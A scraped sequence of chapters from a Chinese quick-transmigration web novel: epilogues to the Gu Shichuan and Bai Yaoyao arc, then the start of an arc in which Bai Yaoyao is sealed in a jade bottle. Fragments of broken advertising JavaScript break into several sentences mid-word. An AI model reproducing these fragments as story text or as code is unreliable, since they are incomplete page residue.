这就是情侣间的小情趣,他真的很喜欢,很喜欢她的触碰。 两人在门外腻腻歪歪好一会儿,顾石川才依依不舍的离开。 回到屋里,白母在看电视,白幺幺走过去坐到她旁边,看一眼里电视上在播的内容,没兴趣,就在旁边默默玩起手机来。 什么? 白幺幺以为是标题党,直接点进去看内容。 颜晞月和顾景尧竟然都死了。 白幺幺惊讶过后,又觉得这样的结果并不让人意外。 而颜晞月是杀死顾景尧后,自杀的。 这要怎么说了,颜晞月这女人真是个彻头彻尾的疯子。 第161章 大佬的舔狗青梅之错位时空的爱恋(番外1) “这是?” 小胖娃娃费力的将比她整个人还大上一圈的木箱子从家里保险库的某犄角旮旯拖出来。 见箱子上还有锁,小胖娃娃抓起上面的锁瞅了瞅,大眼睛倏地一亮。 小胖娃娃起身哒哒哒的跑出保险库,没一会儿就又跑回来了,小手上赫然抓着一把钥匙。 钥匙插进锁孔,咔嚓一声锁开了,小胖娃娃脸上当即露出笑意来。 不算费劲的打开木箱,小胖娃娃探头往里瞧了瞧。 原以为会看到什么金光灿灿的宝贝,没想到就是一些书。 小胖娃娃有些失望的准备将木箱重新合上,只是目光不经意被一本书的书名吸引了。 小胖娃娃是认识字的,还是认识很多很多字的那种哦。 别看小胖娃娃瞧着三岁左右,不会超过四岁,其实她现在已经八岁了。 小胖娃娃叫顾平安,小名安安,是顾石川和白幺幺女儿。 她的名字是白母给取的,希望小家伙一生平平安安的。 白幺幺大学一毕业时,两人就火速订婚,年底结婚,隔年生下安安小朋友。 没错,一切就是这么的速度。 安安小朋友一样遗传了顾石川的特殊基因,只不过一众专家研究表明,他们这一特殊情况随着一代代传承,会慢慢减退直至消失的。 比如顾石川的外婆算是第一代,她的寿命经研究推算能达到五百岁的话,到顾石川妈妈这一代,寿命应该会减少到四百四五十岁。 再到顾石川,一众专家其实每年都有给他做一个详细的身体检查,通过检查得出的相关数据,预测他的应该能活到三百多岁。 主要还是顾石川年轻时,身体没好好养着,伤了根本,不然他的应该能活到四百岁。 “人鬼情未了?” 安安小朋友皱着眉头将看到的书名念出来。 安安小朋友把书拿起来,看到下面那本书的书名,小眉头皱得更紧了。 “我和女鬼有个约会?” 安安小朋友干脆将木箱子里的书全部扒拉出来,扫过一本一本的书名。 “聊斋志异,洞冥记,牡丹亭还魂记……” 将木箱中的书拿出来后,安安小朋友发现书底下还有个小木箱子。 小木箱子没有上锁,安安小朋友两三下就将小木箱打开了。 小木箱最上面是十几张画卷,安安小朋友好奇的拿出画卷展开。 只是看清画卷中人的容貌,安安小朋友不淡定了,不仅仅是皱眉头,小脸都快皱成包子了。 画卷虽保存良好,但还是一眼就能看出有一定年份了。 最主要的是,其中有一张画卷上有落款作画时间,1969年12月3日。 再看画卷下方十几个雕刻栩栩如生的人偶,安安小朋友手中的画卷掉落在地上,眼泪不知什么时候冒了出来,滴答滴答往下掉。 安安小朋友双商很高的,从记事开始,看着父母恩爱,特别是爸爸超级超级爱妈妈的,而她是爸爸妈妈的爱情结晶。 可是现在,她在家里的保险库里找到的木箱里看到了什么? 一些关于鬼书籍,长得像妈妈的女人的画像以及人偶。 说了,安安小朋友真的很聪明的。 她知道自己和爸爸一样,和妈妈以及其他人都不一样。 种种的一切,通过她聪明的小脑袋一分析,最终得出了一个可怕的结论。 爸爸喜欢的人根本不是妈妈,而是另有其人,一个长得和妈妈简直一模一样的人。 难怪小五爷爷会偷偷和管家爷爷感慨,幸好爸爸遇到了妈妈,几十年铁树才终于开花,不然都担心爸爸会孤独终老。 呜呜呜,根本不是的。 爸爸心里一直喜欢着一个长得和妈妈很像很像的人,而爸爸之所以会和妈妈在一起,肯定是把妈妈当作那人的替身了。 记事起就没再哭过的安安小朋友哇呜一声哭起来,伤心难过极了。 她觉得爸爸很可怜,没办法和心里真正爱的人在一起。 然后,她又觉得妈妈同样很可怜,爸爸根本不喜欢她,只是把她当作替身。 最后,她还觉得自己也很可怜,原来她根本不是爸爸妈妈爱的结晶。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 总结一句话,那就是他们一家三口都好可怜呀! 想到这,安安小朋友越哭越伤心,越伤心越哭。 没一会儿,那双大眼睛就又红又肿的了。 哭是个力气活,很快安安小朋友就哭累了。 从口袋中掏出干净的帕子,仔细的把小脸擦干净,安安小朋友脸上的表情不断变换,最后抿着唇,眼神那叫一个坚定。 爸爸明明教过她的,做人做事要诚实坦荡。 这事是爸爸先做错了,她不能让爸爸一错再错,所以……她要告诉妈妈…… 不行不行,安安小朋友摇头。 妈妈要是知道了,肯定会像她一样,伤心难过的哭起来。 没办法,从小就被爸爸教了,不能惹哭妈妈。 妈妈和他们不一样,必须珍惜和妈妈相处的每一天。 怎么办,她现在还是好难过,同时还好生气呀! 要不,她带着妈妈离家出走,不要爸爸了。 小胖手托着下巴,安安小朋友很认真的在思考,然后她越想越觉得可行。 既然爸爸只是把妈妈当作替身,哼,那她就带着妈妈离家出走,不要爸爸了。 安安小朋友是个行动派的,既然决定了,顾不得将东西收回去,就哒哒哒跑回房间去开始收拾行李。 收拾好行李,小家伙费力的拖着个比她人还高点的小行李箱来到白幺幺和顾石川的房间门口。 小家伙轻轻的推开门,探头往里瞧了瞧,发现在妈妈还没起床在睡觉。 她将行李箱放门外,自己则是轻手轻脚,努力不发出半丝声音的走进房间,来到床边。 昨晚被某人折腾的有点狠了,凌晨两点多才睡下,白幺幺今早才会睡到现在的。 自家女儿推开门时,她就醒来了,只是懒得动而已。 本以为小家伙瞧见她还在睡,会关上门离开,自己去玩的。 没想到小家伙不仅没离开,还推开门进来了。 就在白幺幺纠结是继续装睡,还是醒来时,耳边隐隐传来什么声音?仔细辨听好像是谁在哭?! 第162章 大佬的舔狗青梅之错位时空的爱恋(番外2) 安安小朋友真的不是个爱哭的小孩。 明明决定带着妈妈离家出后,她就不怎么难过了,甚至还有点小气愤。 可是一见到妈妈,难过的情绪一下子如潮水涌来。 她不想吵醒的妈妈的,很努力很努力的在压低自己的哭声。 安安在哭? 白幺幺睡意一下子跑光了,忙起身打开床头灯。 小家伙不久前才刚哭过,眼睛的红肿还没消,现在又咬着唇低低啜泣,那模样看得白幺幺心疼极了。 她忙将人抱到怀里来,轻轻拍着人的后背,声音温柔的哄着人。 “安安,不哭,不哭了,妈妈在了。” 白幺幺没有问小家伙为什么哭,更没有问是不是谁欺负她了。 小家伙身边是有安排人保护的,而且,小家伙也不是那种能让人欺负了去的性格。 再说了,小家伙从昨天晚上到现在一直在家里。 白幺幺不哄人还好,这一哄,小家伙原本是压抑着哭声的,现在直接放开声音,呜哇的哭起来。 白幺幺:“……” 心疼归心疼,但白幺幺是真的好奇,小家伙是因为什么哭成这样的。 白幺幺不知道的是,她的声音太温柔,才让小家伙越发伤心难过的。 安安小朋友想呀,妈妈这么好,这么温柔,爸爸竟然欺骗妈妈,只是将妈妈当作替身。 一下子,妈妈的可怜在安安小朋友心中被无限放大。 再聪明早熟,终究还只是个孩子。 小家伙抽抽噎噎道:“呜呜呜……妈妈我……带着……带着你……家……离家出走……我们……我们不要……呜呜呜……不要爸爸了……” 表情有那么一瞬间僵硬的白幺幺:“……” 所以,某人到底做了什么?不仅把人惹哭了,还不要他了! 瞧见门口的行李箱,心中正疑惑的顾石川:“……” 不仅白幺幺好奇,顾石川同样也好奇,到底发生了什么?他的贴心小棉袄竟然漏风了,要怂恿他的妻子一起离家出走,不要他!! 顾石川只是迟疑了下,就直接推门而入。 床上的一大一小同时看向他,白幺幺眸中的幸灾乐祸简直不要太明显,而安安小朋友眼中的气愤也很明显。 顾石川几步来到床边,半蹲下身体与床上的小家伙平视。 “安安,忘记爸爸和你说的了吗?就算爸爸真的做错了什么,你也不能直接给爸爸判刑,要给爸爸自我申辩的机会。” 在对待女儿上,顾石川真的是个好爸爸,不仅温柔,还耐心十足。 “所以,先告诉爸爸,是爸爸做错了什么吗?” 安安小朋友:“……” 难道是自己误会爸爸呢? 可是,可是,自己看到的那些东西是怎么回事? 小家伙眼角还挂着泪珠,此时皱着小脸很认真的思考起来,也不知道过了多久,才抿了抿唇哼哼唧唧道:“行吧,那安安就给爸爸一次申辩的机会。” 白幺幺很想捂嘴偷笑,她朝某男人投去一记调侃的目光,示意他等下好好申辩哈。 对着床上一大一小两个人,顾石川从来都是被吃得死死的。 大的就不用说了,小的其实也一样,别看他平时教孩子,还能体现出点父亲的威严,其实也就只有他自己知道,那就是纸老虎,一戳就破。 安安小朋友讲话条理清晰,她绘声绘色的将如何进到保险库,以及发现木箱子,打开木箱子,然后看到木箱子中的东西,凭她的聪明才智,所进行的大胆猜测全都讲了出来。 真听愣了的白幺幺:“……” 所以是该夸小家伙聪明呢?还是该感叹小家伙果然是她的贴心小棉袄。 此时紧张到手心发汗的顾石川:“……” 他不是!他没有!! 可这要怎么和小家伙解释,顾石川向白幺幺投去一个求救的眼神。 接收到他求救的眼神,白幺幺最终还是没忍住笑出声来。 安安小朋友讲完,就绷着小脸等爸爸说话。 只是爸爸还没说话,妈妈竟然……竟然笑了……还是那种捂着肚子笑得直不起腰来的…… 脑门上飘过一排排问号的安安小朋友:“……” 妈妈,不难过吗? 难道这是妈妈太难过了的表现? 最后还是白幺幺笑够了,和顾石川一起和小家伙解释。 两个大人没有提前打草稿,却很有默契的,七分真三分假的将事情圆了过去。 “所以妈妈真的不是替身?” 顾石川咬着牙从齿缝中挤出两个字来。 “不是。” “哦。” 一场差点妻离子散的闹剧,在小家伙一声 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 轻飘飘的“哦”下结束了。 顾石川:“……” 亲闺女,亲闺女,亲闺女。 时光荏苒,岁月如梭。 人就算再努力健身保养,该老去时总会老去。 夕阳下,已经一百二十三岁的白幺幺坐在秋千椅上,一头白发梳得一丝不苟的。 顾石川在她身后轻轻推动着秋千椅,落在秋千椅上人儿的目光 是那样的温柔宠溺,饱含着无限深情。 “臭石头,你说我是不是老了变丑了,哼,那天出去有人误会咱们是母子,你是不是很在心里偷着乐呀!” 白幺幺同志那是越老越作,当然她就是故意的,想缓解某人的紧张。 没办法,顾石川整天紧张兮兮,提心吊胆,特别是近期,还经常半夜就惊醒。 其实白幺幺自己能感觉到寿命将近,或许某人也感觉到了吧。 顾石川秋千也不推了,绕到前面来,牵起白幺幺的手贴在自己脸上。 “谁说的,在我心里你永远是最美的。” 白幺幺知道他的小心翼翼,知道他为她做的一切。 每次出门都花大力气清场,请群众演员。 这次还是因为她心血来潮,所以给他准备的时间不够,太匆忙才出的纰漏。 白幺幺在意这些吗? 当然不。 可他在意,哪怕她不在意,他也不想去赌她是真的不在意,还是为了让他放心而假装的不在意。 哪怕只有万分之一的可能,她是假装不在意的,他也不想去赌。 白幺幺嗔怪的瞪了人一眼,“你这是越来越会说好听话了。” “不过。” 白幺幺陡然严肃起来,甚至伸手去揪男人的耳朵。 “我要是先你而去了,记住了好好活着,相信我,我们还会在未来相见的。” 顾石川笑着点头,“嗯,我相信你,一直都相信你的。” 不知什么时候走过来,站在不远处听着父母对话的顾平安感觉视线一片模糊,原来不知不觉她眼泪已经盈满眼眶了。 已经长成娉婷少女的顾平安并没有上前去,她只是又驻足了会儿,就悄然离开了。 夕阳下,顾石川小心翼翼的推着秋千,前方时不时响起白幺幺的笑声以及催促声。 “再推高点,推高点……” …… 第163章 我那迷人的小祖宗or老祖宗(01) “咦?” 白幺幺眨巴眨巴眼睛,发现真不是自己瞎了,而是目之所及除了黑,还是黑。 她这是在哪? 没有急着摸黑探索四周情况,白幺幺闭上眼睛接收剧情先。 问她为什么闭上眼睛? 四周那么黑,眼睛睁了也是白睁。 接收完剧情。 白小人幺幺蹲地上画圈圈。 大家别误会啊,就很单纯的行为,没再诅咒谁哦! 谁能猜到她现在哪吗? 反正没接收剧情前,白幺幺觉得她就算是想破了脑袋也猜不出来。 所以她在现在在哪呢? 玉瓶子! 一个容量不超过十毫升的小白玉瓶子里!! 她此时此刻正封印在白玉瓶子中,等待有缘人来把瓶子捡,然后放她出去。 而最终会捡到这个白玉瓶子的人也很好猜,小世界的女主呗。 这个小世界的女主叫姜可柔,一个姿色尚佳的,成绩尚可大三学生。 暑假期间和同学一起去郊外游玩时,很幸运的从河里摸到一个瞧着就价值不菲的白玉瓶子。 捡到白玉瓶子的第一时间,女主心脏扑通扑通乱跳,发现同行的几个同学都没注意到她这边的情况。 她想也不想的,直接不动声色的将白玉瓶子放进自己口袋里。 女主是单亲家庭长大的,从小就被母亲灌输父亲是个薄情寡性,抛弃妻女的大渣男。 而女主妈妈则是那种动不动就哭哭啼啼,欠缺生活能力的柔弱小白花。 母女俩相依为命,日子能过的好才怪。 从小到大,日子再苦,女主都坚强坚韧的努力活着,养活自己的同时,还养活了妈妈。 女主记事起除了她妈主动讲起渣爸,她要是好奇出声询问些关于渣爸的信息,她妈总会沉默的看着她,眼泪像断线的珠子掉个不停。 就这样,不仅没问到关于渣爸的任何身份信息,还要费老大劲才将妈妈哄好。 有过几次经验后,女主不敢再主动问她妈关于渣爸的信息。 不过仇恨的种子在她很小很小的时候就深埋了。 没办法,女主妈只要提起渣爸,除了关于渣爸的身份信息只字不提,全是在控诉渣爸有多渣。 听多了,再加上年纪还小时就要承担起养家的重担,心里能不生出恨意才奇怪。 结束郊外之行,和同学们分开回到家后。 女主第一时间跑到房间里关上门,从口袋里拿掏出从河里捡到的白玉瓶。 她虽不懂玉,但白玉瓶瞧着就不是凡品。 大学靠的是助学贷款,课余时间不仅要兼职挣生活费,还要养柔弱不能自理的亲妈,这样的女主真的很缺钱。 捡到白玉瓶的那瞬间,女主脑中就一个想法,这东西应该能卖不少钱吧! 瞧见白玉瓶上有一点脏污,女主忙从桌上抽了张纸准备仔细擦擦。 只是刚擦了两下,她发现白玉瓶的瓶塞不是和瓶身连为一体的,应该是可以打开的。 她试着去打开看看,怕把东西弄坏,一下子也不敢使太大劲。 不过,她只是轻轻一拔,就将瓶塞和瓶身分开了。 瓶子没打开前,她还没发现瓶子中有东西。 可是瓶子开后,她能很明显的感觉到瓶子中有东西。 尽管还没拿出去给相关人士鉴定,但女主已经先入为主的觉得自己捡到的白玉瓶一定不是凡品。 因而发现玉瓶中有东西,女主并没有第一时间贸贸然把东西倒出来。 她先是打开书桌上的台灯,在光线充足的情况下,眼睛对着不大的瓶口,不断调整姿势,试图想看清瓶子里装的是什么。 只是折腾了好一会儿依旧无所获,灯光好像照不进瓶子里似的,调整了多个角度,瓶子里始终黑漆漆一片。 最后女主只能是抽了一张纸巾,平铺在桌子上,然后将瓶子倒过来,瓶口对着桌上的纸巾。 一秒过去,两秒过去了…… 纸巾上依旧空空的,瓶子里从头到尾都没掉出什么东西来。 女主皱眉,她明明感觉到了瓶子中有什么东西的。 最后她不死心的抓着瓶子用力甩了甩,试图用这样的方法将瓶子中的东西甩出来。 一开始,她还顾及瓶子中装的会不会是什么珍贵宝贝,才比较谨慎对待。 只是经历了看又看不清有什么,倒又倒不出东西来, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 女主也有些来脾气了。 没想到她才甩了两下,真有东西从瓶子中被甩了出来。 女主迫不及待的看去,然后她彻底惊愣住了。 桌上她铺的纸巾上,一个迷你小人出现在上面,会动的…… 还不等女主回神,迷你小人身体就像吹气球般,不断变大,变大,直到变成了一个三四岁大的小女孩才停下。 妖怪? 女主脑中第一时间冒出这个词,身体止不住的哆嗦了下。 毕竟是经历过现代文明熏陶,还是个大学生,女主知道这种时候她不能慌,必须稳住。 不管瓶中的是什么怪物,她都不能先露怯了。 女主尽量让自己的 声音显得平静,质问道:“你是什么东西?” 坐在桌上的小女孩没急着回答女主的问题,她先活动了下四肢,而后起身站在桌子上开始打量四周环境。 她边打量,还边皱眉摇头。 单亲家庭,生活拮据,女主从小就对别人的情绪感知很敏锐。 她知道自己房间很简陋,可是对方这又是嫌弃的眼神,又是摇头的,真的有点刺到她了。 某种情绪腾的上来,压过对眼前未知东西的害怕,双拳不知不觉捏紧了,女主倔强的微仰着下巴。 打量完后,小女孩依旧没回答女主的问题,而是自言自语道:“我白家后人原来已经混得如此差了吗?难怪未来会……” 小女孩话说一半,突然就卡壳了,想不起后面要说的话。 而她的声音不小,女主听清了。 白家后人? 认错人呢? 所以不是妖怪,而是那个什么白家的……类似祖宗的存在? 不对,应该说老怪物更准确。 建国后不许成精,这话华国人很少有没听过的。 女主眸光一转,心思一动,心里当即有了决断。 有些东西是致命的毒药,还是救人的良药,全看人怎么去使用它。 而有些机会摆在眼前去,全看自己去怎么把握住。 “咦?我要说什么,怎么就突然不记得了?” 小女孩皱着脸,抓着头上的小揪揪很似很真的思考起来。 第164章 我那迷人的小祖宗or老祖宗(02) 特别是瞧见玉瓶里出来的“老怪物”,毫无预兆的就突然变得有点不一样。 好像没了刚从玉瓶里出来时的精明劲,以及令人讨厌的高傲劲。 好吧,女主怎么都无法忘记对方那扫视她房间后露出的嫌弃眼神。 瞅着似乎变得有点傻,有点单纯好骗的“老怪物”,女主努力扯出一抹亲和力十足的笑意,尽量让自己看起来真诚无害。 “那个,你是人?还是什么?为什么会在玉瓶中?” 女主的话吸引了正皱着脸想问题的小女孩的注意,她抬头板着小脸,同时在心里哼哼,这题她会,还没忘记。 小女孩昂首挺胸,试图将自己最威严的一面展示出来,才一字一顿道:“我是你祖宗!” 感觉有被侮辱到的女主:“……” 神经病! 似是瞧出女主不信,小女孩冷哼道:“我就是你祖宗,玉瓶只有我白家嫡系血脉才能打开。” “你既然能打开玉瓶,那必然是我白家嫡系血脉,这点毋庸置疑。” 女主震惊,如果“老妖怪”的话是真的,那意思不就是说渣爹姓白,还和眼前“老怪物”是一家的。 女主不傻,相反的很聪明,特别是眼前“老怪物”也不知道怎么的,和刚从瓶子里出来时相差甚远,好像变得不怎么聪明的样子。 这种时候,女主开始不动声色的套话。 “那个,你误会了,我不是你们白家的血脉,我姓姜,叫姜可柔。” “什么,不可能,你一定是白家血脉,不然不可能打得开玉瓶。” …… 接收完剧情,白幺幺郁闷的蹲地上边画圈圈,边又将剧情过了一遍。 原主不是什么普通人,她就是女主捡到的白玉瓶中的小女孩,也就是白家的老祖宗。 原主偶有不好的感应,便掐指算起来。 最后算出家族后人情况不妙,有灭族之危。 原主虽得道升仙,但在上界也只是个小喽啰。 一边是后人安危,一边是不能下界的规定。 原主曾机缘巧合下帮过一个很厉害的上仙,白玉瓶子就是对方赠给她的。 在上界一人孤身奋战,举步维艰,原主深知家族的重要性。 最后,她还是决定偷偷下去看看。 只要能解除家族的灭族之危,不要这神位又何妨。 活太久的人,能让她看重的人事物真的不多了。 原主的家族使命感和家族荣誉感特别强,说句把家族看得比她命还重要都不为过。 就这样,原主把自己封印在白玉瓶子中,借助白玉瓶子是成功来到下界了没错。 只是期间出了岔子,原本应该精准投到白家书房的白玉瓶子直接掉到了某犄角旮旯。 甚至十几年过去,才被女主捡到。 白玉瓶是不可多得的宝物,但它也有不好的地方,就是在里面施展不了法力。 总结就是进去了,里面的人是自己打不开瓶子出来的,只有外面的人才能打开瓶子。 原主将自己封印在白玉瓶中,设下白家嫡系血脉才能打开白玉瓶。 至于为什么要设下白家嫡系血脉才能打开,原主当时真没想那么多。 毕竟一切计划得很周全,哪里想到会出现意外。 对了,原主甚至还花大力气,提前几天给白家现任家主托梦。 将白玉瓶的模样,以及她准备私自下界帮白家躲过灭族之危的计划简单告知。 原主因为在白玉瓶中待太久,仙力消耗得七七八八。 被女主捡到后,得以从白玉瓶中出来时,仙力已经所剩无几。 而且不知道是不是在白玉瓶中待太久的原因,原主从白玉瓶中出来时,根本无法维持成年模样,身体缩水成一个三四岁小姑娘的样子。 最最重要的是,原主记忆开始退化,忘记了很多事,言行心智也越来越像个小孩子。 而原主始终没忘记的就是她是白家的老祖宗,她有很重要很重要的事要做,具体什么她忘记了,就只记得是和家族有关。 原主虽变成这样了,但瘦死的骆驼比马大。 嗯,这样的比喻好像有点不妥。 反正就算原主瞧着实力不行,智商也有那么点不够用,但她有好些好宝贝呀。 人间的那些阿堵物就 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不用说了,那些人间没有的才是真正的大宝贝。 因着女主能打开白玉瓶,确认她是白家后人无疑,又在女主刻意逢迎,有心算无心下,原主十分依赖、信任女主。 而女主也的的确确是白家嫡系血脉,不过原主的父亲至始至终都不知道有女主这么个女儿的存在。 说到这,白幺幺不得不感叹女主妈就是个纯纯有病的疯子。 大学毕业,到医院做实习护士时,对来医院冷冻精子的女主爸爸一见钟情。 当时女主爸爸面对家里长辈催婚,故意和长辈对着干,跑来医院冷冻精子,并扬言自己是不婚族。 女主妈妈不知道是出于什么心理,竟然胆大的偷走了女主爸爸的精子。 嗯,没错的,女主就是这么诞生的。 女主妈妈生下女主后,见到是 个女儿,心中还是有点小小遗憾的。 不过,她时常对着女儿自我感动,这是她冒死为心爱男人生下的生命延续。 甚至,她还好几次幻想抱着孩子去找孩子爸爸,对方看到她为他生下如此聪明可爱的宝宝,一定会很感动的吧。 毕竟他是不婚族,没有后代很可怜的。 如果到时他还是坚定的不婚主义,没事的,她可以自己养孩子。 就是偶尔,允许她带着孩子去找他,让孩子在成长过程中,父爱不会缺席就行。 嘴角止不住抽搐的白幺幺同志:“……” 事情发展要真如女主妈妈想的这么……美好,后续的种种也就不会发生了。 女主妈妈精心将女儿养到一岁后,觉得时机差不多了,就准备带着女儿找上门去。 只是她才刚订好机票,就在网上看到关于心爱男人的新闻,而新闻的内容直接让她当场失态。 也得亏她当时在家里,不然那疯魔的样子,不知道要吓哭多少孩子。 很狗血的新闻,女主爸爸要结婚了,可惜新娘不是她。 特别是新闻中还提到,两人疑是奉子成婚的。 不是说不婚主义吗? 怎么就要结婚呢? 女主妈妈觉得自己被愚弄,被背叛了。 第165章 我那迷人的小祖宗or老祖宗(03) 很容易想到的,女主妈妈因爱生恨,爱恨交织,生生把自己折腾得更有病了。 整天不是对着空气,就是对着女儿期期艾艾的控诉渣男的负心薄幸,再不然就是对镜发呆,偶尔还会留下两行清泪。 当然大部分时候是这般“安静”点的,只是偶尔在网上刷到关于渣男的新闻时。 特别是那种渣男升级当爸,双胞胎儿子敲可爱的新闻或者是渣男携娇妻幼子出行被媒体偷拍到的新闻。 女主妈妈当即就会发疯,先在家里砸东西,之后出去酒吧夜店疯狂到半夜才回来。 女主从小看到亲妈被渣爸伤害,一直都走不出来,活得如此痛苦,简直快心疼极了,心中的对渣爸的恨意与日俱增。 亲妈受情伤太重,反而需要女主小小年纪就开始照顾她,女主并没有觉得亲妈有什么不是。 爱屋及乌,恨屋及乌。 亲妈那么恨亲爸,却还生下她,爱着她,足可见亲妈真的比抛弃妻女的渣爸强上一万倍。 再说了,亲妈为什么会这样,还不是渣爸害的。 反正,在女主心里,亲妈千般好万般好。 就算可能有些时候不是个十分合格的妈妈,但那也不是她的错。 接着的剧情就很简单,女主从亲妈那边得不到任何关于渣爸身份信息,原主的出现,让她很快锁定渣爸的人选。 女主不是傻的,至始至终都在避免原主和渣爸那边也就是白家人有接触。 在知道渣爸抛弃她妈后,很快就另娶娇妻,还生了三个儿子。 甚至其中一对双胞胎才比她小还不到两岁,三个小少爷上的是最好的学校,每天豪车接送上下学。 再想想她,小小年纪就要努力挣钱养家,每学年开学前都要为学费发愁。 同样是渣爸的孩子,凭什么那三个能活得如此光鲜靓丽,过着令人歆羡的高贵小少爷生活,而她则活得像个灰姑娘。 还有那三个小少爷的妈,一个抢了别人老公,破坏别人家庭的小三。 那女人凭什么在那毫无心理负担的过着富家太太生活,而她妈却要独自一人生下她,带着她艰难生活。 心中的恨意燃烧再燃烧,女主决定要报复渣爸,报复那个女人,毁了那三个偷走她父爱与幸福的“好弟弟们”。 有了原主当助力,女主的报复行为实施的相当顺利,结果也很喜人。 在对白家展开复仇期间,女主和她妈一样,对一个叫上官墨的男人一见钟情了。 不得不说,女主的眼光和她妈一样的好。 这个上官墨是小世界最大的隐藏boss,是上界某位了不得存在下凡历劫来着。 拥有原主这个……工具人,女主可以说有点飘了。 主动出击,高调追求,大胆求爱,始终得不到人,她便开始搞巧取豪夺,得不到你的心,那就先得到你的人那套。 只是这个上官墨真真是块难啃的硬骨头,哪怕女主将人搞断了双腿,最后还拿着刀架在人脖子上,可人家就是宁死也不从。 甚至在女主准备霸王硬上弓时,找准机会自裁了。 人死后,女主除了伤心,更多的是气怒,气怒对方的不识好歹。 后面小世界的男主出现, 很恰巧的是白家的死对头,江家的人。 两人相识,相知,相爱,然后……一起幸福到老,这当然是不可能的。 原主原本是下来解决灭族危机的,没成想白家最终被灭族,她功不可没啊! 这是何其讽刺事实与真相。 原主身死道消前一刻才恢复所有记忆,她……她…… 死不瞑目都不足以形容,原主恨啊,恨女主,更恨她自己。 而这方小世界,女主最后死了。 男主也死了,小世界最终崩塌。 没办法,谁让女主惹到了不该惹的人,上界某位了不得的存在刚好就是那种睚眦必报的性子。 白幺幺:“……” 这个小世界,怎么说,折腾来折腾去,最终搞个团灭为结局,以小世界崩塌收场。 白幺幺站起身来,不画圈圈了。 她这次的穿越节点是女主十 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一岁的时候,还要过十年,剧情才开始。 也就是女主二十一岁,读大三时,白玉瓶子才会被女主捡到,她才能从白玉瓶中出来。 白幺幺:“……” 所以,让她待在这黑漆漆的瓶子中,数着时间过十年。 呵呵,白幺幺同志表示有点难以接受。 与此同时。 远在一千公里外的一座古朴庄园的二楼最里间书房里。 “还是没找到白玉瓶的踪迹吗?” 问话的人是坐在办公桌后面的老人,也就是如今已经七十三岁的白家现任族长白保国。 书房里的另外两人,他们一个是白保国的弟弟白卫国,家里的老来子,小了白保国足足二十岁。 另一个则是白保国的独子白安邦,今年四十一岁。 白卫国和白安邦两人对视一眼,还是白卫国来回答了这个问题。 他面色略显沉重的摇头道:“哥,还是没找到,我们这都找了两年了,你说会不会是老祖 宗那出了啥岔子,又来不及通知你。” 白保国挑眉没说话,这个问题大家不是没讨论过。 每次寻白玉瓶无果,总会再把这个问题摆出来说。 事关灭族之危,白保国自从老祖宗托梦后,就开始焦急,吃不好睡不好的。 特别是,迟迟找不到偷偷下界来,要助他们解决灭族之危的老祖宗,这让他心中的不安像野草疯长。 白安邦见只是两年时间,一下子仿若老了七八岁的父亲,挑了挑眉。 “爸,会不会你做的那个梦就只是个普通的梦,事实上老祖宗根本没有托梦给你,还有……” 白安邦见自家老父亲和小叔叔都朝他看来,硬着头皮继续说下去。 “那什么灭族之危,也肯定是你太担忧家族的未来,神经过于紧绷,俗话说日有所思夜有所梦,反正就是没有什么老祖宗托梦,也没有什么白玉瓶子,更没什么灭族之危。” 白卫国很想附和白安邦的话,只是看到自家大哥黑沉的脸,他觉得自己还是闭嘴得好。 第166章 我那迷人的小祖宗or老祖宗(04) 白保国是想出声呵斥儿子的,只是看到对方倔强眼神中隐含着的关心神色,他张了张唇,最终什么也没说。 作为一家之主,一族族长,白保国真的很难想象家族要是在他手上被灭族了,那他到时到了下面,要怎么和列祖列宗请罪。 到底是不是真的老祖宗托梦,还是只是一个普通的梦,他人还没老到分不清楚。 白保国朝两人摆摆手,示意他们先出去吧,他想要一个人静静。 白卫国和白安邦两人再次对视一眼,皆从对方眼中看到了深深的无奈。 大家族出来的孩子,没有哪个不清楚家族的重要性。 灭族啊! 一个让他们光听着就毛骨悚然的词。 两人走到门口,白安邦手已经握住门把准备打开书房的门,身后响起白保国严肃深沉的声音。 “继续约束好家族子弟的言行,要是谁敢在外面胡来,从重处罚……还有继续加大力度寻找白玉瓶的踪迹。” “知道了,爸。” “好的,哥。” 白卫国和白安邦同时回道。 出了书房,白安邦当即叹气道:“小叔你说这都是什么事呀!” “按照父亲画出来的白玉瓶,那么小的一个玩意,没个具体方向或指示,想要找到无异于大海捞针。” 想到什么,白安邦又补充道:“谁知道会不会是老祖宗那出了岔子,原本告知会落在家里书房的白玉瓶,因为某些意外直接掉到大海里去了。” “要真是这样,我们就是找到死,也找不到东西呀。” 白卫国拍了拍他肩膀,“不管是什么样一个情况,我们也只能继续尽力去找,还有你爸他也不容易。” “小叔,我当然知道我爸不容易,就是知道才……” 白安邦收住声,没有继续说下去。 自从两年前,白保国被老祖宗托梦告知家族未来将有灭族之危。 之后按照梦中给的时间等啊等,始终没有把老祖宗等来。 白家头顶从那日起像是笼罩了一层阴云,年轻小辈中聪慧点的可能隐隐有所感觉。 可那些知道内情的几个,心里压力可想而知。 不以为然,那是不可能的。 哪怕是白安邦,别看他会说出那些话,其实也不过是在自我宽慰。 不过有一点,白安邦的确说对了。 白幺幺同志现在就是在海上漂着,或者换个说法,装着她的白玉瓶此刻正在海上漂着。 四周一片黑,外面啥情况,白幺幺自己也从得知。 没出岔子,白玉瓶就是好宝贝,能让原主不被上界发现,顺利来到下界。 可现在,白玉瓶的弊端也出来了。 白幺幺就像被完全封闭在另一处不受外界影响的空间,这个空间很大很大,无边无际。 嗯,这是白幺幺觉得无聊,亲测过的。 她朝一个方向一直走一直走,走了很久很久,怎么也碰不到瓶壁。 可以说白玉瓶内的世界,除了大到没有边际,里面啥也没有,还黑漆漆一片。 蹲地上蹲久了,白幺幺干脆直接躺地上。 受瓶子的限制,她什么也做不了。 听说睡觉时间会过得比较快? 要不还是睡觉吧,如果能一觉醒来就过去好几年最好了。 白幺幺美滋滋的想。 只是闭上眼睛后,她发现自己根本睡不着。 睡不着怎么办? 数羊呗! 